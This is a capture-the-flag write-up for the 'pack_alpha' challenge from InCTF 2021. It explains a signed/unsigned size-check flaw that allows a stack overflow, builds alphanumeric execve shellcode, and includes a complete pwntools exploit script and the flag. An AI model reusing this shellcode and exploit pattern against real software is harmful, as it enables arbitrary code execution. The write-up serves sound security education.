# pack_alpha Challenge Points: 488 No of Solves: 17 Challenge Author: [d1g174l_f0r7r355](https://twitter.com/BhaskaraShravya) Challenge file: [chall](https://github.com/shravya-bhaskara/shravya-bhaskara.github.io/tree/main/pwn/inctf/2021/pack_alpha/Handout) An absoltely beginner friendly shellcoding based challenge I made for InCTF Nationals 2021. - A preliminary analysis on the binary shows that `NX` is disabled along with `canary`. ``` CANARY : disabled FORTIFY : disabled NX : disabled PIE : ENABLED RELRO : FULL ``` ## Analyzing the binary: ``` { char buf[108]; // [rsp+0h] [rbp-80h] BYREF int size; // [rsp+6Ch] [rbp-14h] BYREF char nbytes_7; // [rsp+73h] [rbp-Dh] BYREF char s[10]; // [rsp+76h] [rbp-Ah] BYREF ((void (__fastcall *)())((char *)&sub_1288 + 1))(); puts("Welcome to our wolf camp!\n"); puts("Please provide us with your personal information and we shall allocate you to your rooms."); printf("Email address: "); fgets(s, 10, stdin); printf("Age: "); fgets(&nbytes_7, 3, stdin); getchar(); printf("Your room number is: %p\n", buf); printf("Length of your name: "); __isoc99_scanf("%u", &size); getchar(); if ( size > 96 ) { puts("\nWhoa! Such a huge name??\n"); exit(0); } printf("Enter your name: "); inp_len = read(0, buf, (unsigned int)size); fflush(stdin); while ( inp_len - 8 > ind ) { if ( (buf[ind] <= 47 || buf[ind] > 57) && ((*__ctype_b_loc())[buf[ind]] & 0x400) == 0 && buf[ind] ) { puts("\nBad character!"); exit(0); } ++ind; } puts("\nGreat you may move to your rooms and await further instructions.\n"); return 0LL; } ``` - We see that a stack leak is provided, which is actually the address where our input is stored on the stack. - Since we are reading an unsigned integer `(%u)` into `size` which is originally declared as an integer. - The image below shows why this line of code is a vulnerability! ![signed_unsigned](https://user-images.githubusercontent.com/59280388/146581940-2c6686e3-c493-40b8-b346-e63fc5026091.png) As we see, the unsigned integers contain only a positive range, whereas the signed integers assume both the positive and the negative values. If we pick a number greater than 127, it will simply loop back to the beginning in case of the signed integer. If we pick anumber lesser than -127, it will loop to the end in case of the signed integer. Similar is the case for the unsigned integers. - If one gives a negative number as an input to size, since an unsigned integer is read, it will loop to the end as seen in the figure. As a result they can read as many amount of bytes as they want, and it would still surpass the condition for check of size being less than 96 bytes. - Next we see that the while loop iterates till the last 8 bytes of our input. Inside the while loop, the condition fairly evaluates to: - `buf[ind] <=47 || buf[ind] > 57` --> which means our input can have a numeric character! - `((*__ctype_b_loc())[buf[ind]] & 0x400) == 0` --> our input can have any printable ascii characters since the `(*ctype_b_loc())` returns a pointer to the `traits` table that contains flags related to the characteristics of each single character. - `buf[ind]` --> our input can contain a null byte `\0`. - Thus we can conclude that our input must only contain `alpha-numeric` characters. Since `seccomp` is absent, we can try giving an `execve` syscall containing only alpha-numeric opcodes. ## Finding offsets: We can debug and figure out where our input is read into. ``` [-------------------------------------code-------------------------------------] 0x55b8ec53d3f2: mov eax,DWORD PTR [rbp-0x14] 0x55b8ec53d3f5: mov edx,eax 0x55b8ec53d3f7: lea rax,[rbp-0x80] => 0x55b8ec53d3fb: mov rsi,rax 0x55b8ec53d3fe: mov edi,0x0 0x55b8ec53d403: call 0x55b8ec53d120 <read@plt> 0x55b8ec53d408: mov DWORD PTR [rip+0x2c42],eax # 0x55b8ec540050 0x55b8ec53d40e: mov rax,QWORD PTR [rip+0x2c1b] # 0x55b8ec540030 <stdin> ``` - As we can see, our input buffer is read into `rbp-0x80`. Since the leak provided is nothing but the address of our input buffer string, we will need `0x80` bytes of buffer to fill our stack upto `rbp`. - Another `8` bytes of buffer to fill `rbp` before overwriting `rip` with the stack address. Now all we need is an `alpha-numeric shellcode`. Various [shellcodes](http://shell-storm.org/shellcode/) can be found here. But for the sake of solving the challenge, we will design an alpha-numeric shellcode instead of choosing one from the above website. ## Alpha-numeric shellcode: In order to design the alpha numeric shellcode, we need to make certain of what assembly instructions combined, will give us a shellcode with purely alpha-numeric opcodes. Below I have mentioned a few instructions taht can be used as part of our shellcode along with their alpha-numeric opcodes and their ASCII values. ``` Assembly Hexadecimal Alphanumeric ASCII push %rax \x50 P push %rcx \x51 Q push %rdx \x52 R push %rbx \x53 S push %rsp \x54 T push %rbp \x55 U push %rsi \x56 V push %rdi \x57 W pop %rax \x58 X pop %rcx \x59 Y pop %rdx \x5a Z ``` ### The shellcode: Using the above set of instructions we can start forming our shellcode. We will be making use of the execve syscall to spawn a shell. ```python= # add $0x8, $rsp ; so that we do not overwrite the return pointer on the stack. pop %rax pop %rax # to get 0x000000ff push %0x30 push %rsp push %rcx pop %rax xor %0x35, %al push %rax imul $0x33, (%rcx), %esi # to get 0x000000f8 push %rsi pop %rax xor %0x30, %al xor %0x37, %al # to write -8 as a 32-bit dword at 0x74(%rcx) mov 0x74(%rcx), %eax xor %eax, 0x74(%rcx) xor %esi, 0x75(%rcx) xor %esi, 0x76(%rcx) xor %esi, 0x77(%rcx) # to get to the return pointer xor %esi, (%rcx, %rdi, 2) xor (%rcx, %rdi, 2), %rsi # to push '/bin/sh' onto the stack, we will make use of a xor key, to encode and decode the non-ascii characters in the string. With this we ensure that the argument string "/bin/sh" is present in %rax. push $0x5658356a pop %rax xor %eax, 0x4b(%rsi) xor %eax, 0x53(%rsi) xor 0x4f(%rsi), %rax # writing the actual execve shellcode push %rax push %rsp push $0x30 pop %rax xor $0x30, %al push %rax push %rax xor $0x75, %al xor $0x4e, %al pop %rdx # encoding the arguemnts in registers and the syscall into an alpha-numeric form. .byte 0x34 # %rsi = NULL .byte 0x6a # %rdi is now a pointer to the string "/bin/sh" .byte 0x57 # 0x0f .byte 0x53 # 0x05 syscall .byte 0x45 # / .byte 0x57 # b .byte 0x31 # i .byte 0x38 # n .byte 0x45 # / .byte 0x46 # s .byte 0x30 # h .byte 0x56 # \0 ``` Thus our alpha numeric shellcode is: `XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V` ## Exploit: ``` from pwn import * if __name__=="__main__": context(os='linux', arch='amd64') p = process('./pack_alpha') #p = remote('gc1.eng.run', 32385) gdb.attach(p) p.recv() p.sendline('b'*3) p.recv() p.sendline('12') p.recvuntil('Your room number is: ') leak = p.recvline()[:-1] leak = int(leak, 16) info("leak: %s"%hex(leak)) p.recvuntil('Length of your name: ') p.sendline('-1') # alpha numeric shellcode: shell = 'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V' pay = shell pay += 'a'*(0x80 - len(shell)) pay += 'b'*8 pay += p64(leak) p.send(pay) p.interactive() ``` ## Flag: ```inctf{4_tru3_4lph4_15_4_tru3_k1ng!!}```